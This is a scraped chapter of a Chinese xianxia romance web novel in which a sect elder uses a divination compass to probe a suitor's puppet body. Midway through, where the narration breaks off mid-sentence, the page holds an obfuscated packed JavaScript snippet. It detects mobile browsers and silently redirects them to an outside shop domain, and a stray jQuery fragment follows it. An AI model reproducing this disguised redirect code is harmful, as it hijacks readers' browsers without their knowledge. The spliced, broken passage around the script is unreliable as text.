文趣网 > 其他小说 > 万人迷仙尊又被提亲了 > 7. 第 7 章
    “他留下。”

    言外之意,你自己走。

    燕无咎眸中笑意倏然消散。

    他唇边仍噙着弧度,宽肩窄腰姿态随意,周身却漫上一种无形的压迫之感。

    空气无端凝滞了几分。

    慕泠之敏锐抬眸,望进燕无咎深不见底的桃花眼中。

    两人四目相对。

    程千绾暗道不妙。

    这位燕道友素来大方,平时都是一副笑吟吟的模样,又生得俊美无俦,几日相处下来,扶危宫的弟子们都对他评价颇高。

    大家纷纷表示,既有外快赚,又有帅哥看。

    希望这种日子能多来一点。

    难道那些都只是表象?

    程千绾手指微动,暗自在掌心里扣了一把噬魂散,心说万一待会儿燕道友朝她师兄动手,她就把这毒药当头扣在他脑袋上。

    慕泠之抿了抿唇。

    他指尖还残留着黏腻的濡湿感,心下不耐,又被燕无咎这眼神盯得脊背发麻。

    正要将人“强行”送出扶危宫时。

    忽然,燕无咎眉眼一动,长长叹出一口气,仿佛自己跟自己妥协了一样。

    “好吧。”他喃喃自语,“留一个也不亏。”

    说罢,燕无咎“啪”一声打开扇子,没再管四肢僵硬的傀儡,只凝视着慕泠之的眼睛,语气加重说:“仙尊,改日我再来拜访。”

    慕泠之一言不发。

    程千绾屏着呼吸,直到燕无咎的背影完全走出殿外,才猛地松了口气。

    这人年纪轻轻,怎么会有这般深重的威势?

    不可貌相啊。

    程千绾收起噬魂散,对慕泠之说:“师兄,此人恐怕不简单。”

    慕泠之“嗯”了一声。

    那人当然不简单,寻常人怎么可能用提亲当幌子,来刻意接近他。

    慕泠之一向对自己吸引变态的体质习以为常。

    此时,他骨髓里还存着一丝微妙的麻意,但这不重要。

    慕泠之长睫垂下,看着自己那只被玷污的手,撂下一句“去取因果罗盘”,下一秒,整个人瞬间消失在正殿里。

    徒留程千绾和燕无名大眼瞪小眼。

    程千绾:咦,因果罗盘?

    研究这位吗?

    程千绾眼前一亮,心说还是师兄想得周全。

    她抬起手,给燕无名绑上一道捆仙锁,不太放心,又贴了十几张定身符。

    将人捆成粽子后,为防止燕无名万分之一是个真人的可能性,程千绾朝他鞠了一躬,真诚道:“对不住了,无名道友,一会儿我就给你解开。”

    说完就匆匆回去取罗盘了。

    却不知在她身后。

    燕无名呆板无神的双眼中,忽然闪过一道暗光。

    “他”无视身上的捆仙锁,微微活动了一下四肢,又反手将后背撞断的脊骨一节节按回原位,轻嘶一声说:“下手可真狠呐。”

    说完,“他”蓦地想起什么,微微一僵。

    不知过了多久。

    “他”缓缓抬起胳臂,动作滞涩,像个生锈的木偶一样,将手指慢慢抵到自己唇边。

    那股隐隐萦绕在舌尖的泠泠白梅香。

    就这么直白地、猝不及防扑进他鼻间。

    “咕咚。”

    殿内响起一道清晰的吞咽声。

    而“他”安静立在原地,一动不动。

    ……

    “因果罗盘”是天阶下品法器,专司溯源,能显现万物的前尘往事。

    扶危宫万象院的院长程千灼,即程千绾的双胞胎妹妹,曾仿照着这件法器,复刻了无数小罗盘,分发给仙盟弟子们,用来追溯魇种的来历。

    不过小罗盘能力有限,只能回溯三年以内的过往,要想彻底探查究竟,还得从万象院里把罗盘主体借出来。

    程千灼此时正在仙盟外做任务,程千绾只身进了万象院,验过神魂印记后,院内弟子爽快地将因果罗盘请了出来。

    回去路上,程千绾正好碰上行色匆匆的叶决明,一把将人拉住,问:“小决明,这么快就回来了?”

    方才在扶危宮里,叶决明刚跟慕泠之说完燕无咎的事,没等人来,就被盟主任朝派弟子喊走了。

    此刻急急忙忙赶回来,他喘匀一口气,与程千绾一同踏进殿内:“正有要事与师尊禀告。”

    话音才落,就看见被捆得严严实实的燕无名。

    叶决明:?

    慕泠之还没回来,估计要将自己的手洗掉一层皮。程千绾先给人松了绑,简单与叶决明解释两句,后者立刻愤愤不平起来。

    “又是一个登徒子!”叶决明撸起袖子,气势汹汹地走向燕无名,“扶危宮不欢迎你们,让你师兄拿着灵石滚。”

    “诶!”程千绾伸手。

    “师叔您别拦我。”叶决明像一头横冲直撞的小牛犊,挣开程千绾,三步并作两步冲上去。

    程千绾:“不是,这个事吧,其实是你师尊先动的手……”

    叶决明刹车,扭头露出一张震惊的脸:“哈?”

    程千绾摊了摊手。

    她也不知道为什么好端端的,慕泠之要用自己的手戳人家心口,被舔之后还要将人留下来。

    她也很疑惑啊。

    “是挺奇怪的。”叶决明冷静下来,围着燕无名来回转圈,“师尊看中他哪儿了?”

    期间,燕无名一言不发,只用那双呆滞的眼睛,从左到右,跟着叶决明的身影来回移动。

    “行了别转了。”程千绾被他晃得眼晕,从乾坤袖里掏出因果罗盘,“不管看中了哪,先查查这人的底细再说。”

    说着,另一只手祭出百枚上品灵石,一口气投进罗盘当中。

    霎时,因果罗盘光芒大盛,自她掌心飘至半空,盈盈光辉倾泻而来,笼罩住下方的人影。

    燕无名还是那副逆来顺受的模样。

    他,或者说燕无咎,并不怕被仙盟探查,因为这具壳子本来就是他抛出的一个诱饵。

    以身作饵,才能钓到大鱼。

    唯一的意外,大概就是他本不该,这么轻易地激活沉睡在傀儡体内的神魂。

    但也不是没有收获。

    燕无咎神识内视,并未在这具壳子里发现9410的踪迹。

    那个自称为“系统”的家伙,此刻还在他的本体内装着自闭。

    燕无咎淡定地想。

    若真到了万不得已的时候,他也不是不能考虑自爆神识,来一个金蝉脱壳。

    只可惜了他原本的真龙血脉……

    因果罗盘上,七

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535599|203800||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    十二道铭文逐一亮起,光晕如流水般层层向外扩散。

    蓦地,燕无咎又嗅到了那股梅香,掺杂着清冽的霜雪气息,仿佛浸透寒潭的冷玉。

    他不动声色望过去。

    慕泠之无声无息出现在殿内,侧影轮廓俊秀锋利,淡色的薄唇微微抿着,正抬眸注视着罗盘上的画面。

    起初,那上面只有一堆天材地宝。

    万年梧桐木居中,九天玄铁作骨,南明离火晶为心,息壤精元固其根基,北冥灵乳滋润关节。

    再以日月星三光神水淬养,贯通四肢百骸。

    待五行归一,以混元之火灼烧七日七夜,直至灵胚收缩定型,变成一个活生生的“人”。

    “乖乖,还真是假人呐。”程千绾一边看,一边啧啧称奇。

    “搜罗了天阶五行至宝,只为炼就一副傀儡,那位燕道友也是大手笔。”

    慕泠之淡淡开口:“我知道他要做什么了。”

    旁边,叶决明头上冒出一个问号。

    这才刚看了个开头?

    “你是说……”

    程千绾猜测着,忽然陷入了沉默。

    慕泠之也没有再开口。

    殿内一时极静。

    叶决明左看看,右看看,不明白他师尊和师叔在打什么哑谜。

    半晌,程千绾才缓缓开口,语气里多了几分艰涩:“他是不是,在拿魇种做实验?”

    慕泠之没有回答。

    似是默认。

    叶决明恍然大悟:原来如此。

    但很快,他原本的表情僵在脸上,一种直觉般的恐惧猛地从骨髓里涌出。

    “师尊!”叶决明瞪大双眼,想说些什么,却又莫名合上了嘴。

    像是有什么禁制,叫他闭口难言。

    恐惧?

    燕无咎的视线轻轻扫过殿内三人。

    除了慕泠之还是那副波澜不惊的样子,其余两人的表情,或多或少都有些难看。

    可是,为什么?

    总不能是仙盟怕他抢了燃犀丹的生意吧。

    燕无咎饶有兴致地猜道。

    因果罗盘上的画面还在继续,慕泠之却垂下了眼,不欲再看。

    他背过身去,衣袖轻扬如流云,垂落时,露出底下崭新的鲛纱手套。

    无人知晓,布料之下,一道狰狞剑疤横亘在他的掌心,像是命运被刀剑拦腰斩断,无声宣告着一个必死的结局。

    背后,面目平平的傀儡人凝视着他,在那之上,对方的过往如画卷般徐徐展开。

    诞生,种下魇种,受混元之火灼烧,魇种消亡。

    再种下魇种,服用诸多灵丹妙药,不得解脱。

    最后服下燃犀丹,痊愈。

    如此循环往复。

    这样也好。

    慕泠之盯着虚空的一点,平静地想。

    如果天命要他身死道消,至少陨落之前,还有另一个人、能用另一种方法力挽狂澜。

    但他必须确认这个人的立场。

    慕泠之倏然转身,眨眼间,整个人瞬移到燕无咎跟前。

    他很少与人离得这般近,仿佛呼吸都交织在一起,彼此瞳孔中的神色清晰可见。

    “我知道你在这。”慕泠之盯着他的眼睛,说,“出来谈谈。”